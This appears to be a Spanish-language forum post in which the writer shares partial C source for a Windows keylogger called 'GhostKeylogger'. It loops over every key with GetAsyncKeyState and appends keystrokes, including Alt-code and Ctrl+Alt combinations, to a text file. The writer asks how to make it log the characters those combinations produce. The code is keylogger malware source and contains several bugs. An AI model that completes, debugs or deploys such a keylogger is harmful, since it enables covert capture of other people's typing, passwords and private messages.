Esta es una pequeña porción ejemplo con la que estube experimentando.
En este caso solamente estoy tratando las partes que me traen "problema" y aclaro que no es el código completo.
Lo que quiero hacer es que cuando uno apriete la tecla Alt + 999 por ejemplo en el archivo de texto se guarde [ALT]+[numero 9] [numero 9] [numero 9]
Sin embargo, no solo debe tener esa salida, en los casos como Alt+1 (☺) tambien debe imprimirse el caracter del código ascci que da resultado de la combinacion de teclas (☺).
El programa tambien debe imprimir el copete de la ñ (~) que se obtiene realizando (Ctrl+Alt+4 dos veces).
Como ya utilizé un for que va desde 0 a 255 para obtener la salida [Alt]+[numero]
Estoy limitado y no puedo mas que guardar los caracteres 1 por 1.
por ejemplo si se preciona alt && 1 entonces hacer ☺.
El problema es que nose como imprimir el ☺. Aparece una salida muy extraña. Tiene algunos errores.
Código:
#include <windows.h> #include <stdio.h> #include <ctype.h> #define VK_4 0x34 #define VK_1 0x31 void GhostKeylogger(FILE *txt); byte teclas[256]; char teclasespeciales[32]; void GhostKeylogger(FILE *txt) { for(int i=0; i<255; i++){ if(GetAsyncKeyState(i)==-32767){ *teclasespeciales = 0; if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1) fprintf(txt, "%c", *teclasespeciales); else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0) fprintf(txt, "[%s]", teclasespeciales); } if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4)) { if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4)) { fprintf(txt,"~"); break; }} if(GetAsyncKeyState(VK_MENU)&&(VK_1)) { fprintf(txt,"%c",toascii(58)); break; //ASCII ????? } } } int main(){ FILE *txt; while(TRUE){ if(txt != NULL){ FILE *txt = fopen("Experimento.txt", "a+"); Sleep(30);/*to prevent high usage*/ GhostKeylogger(txt); fclose(txt); } } }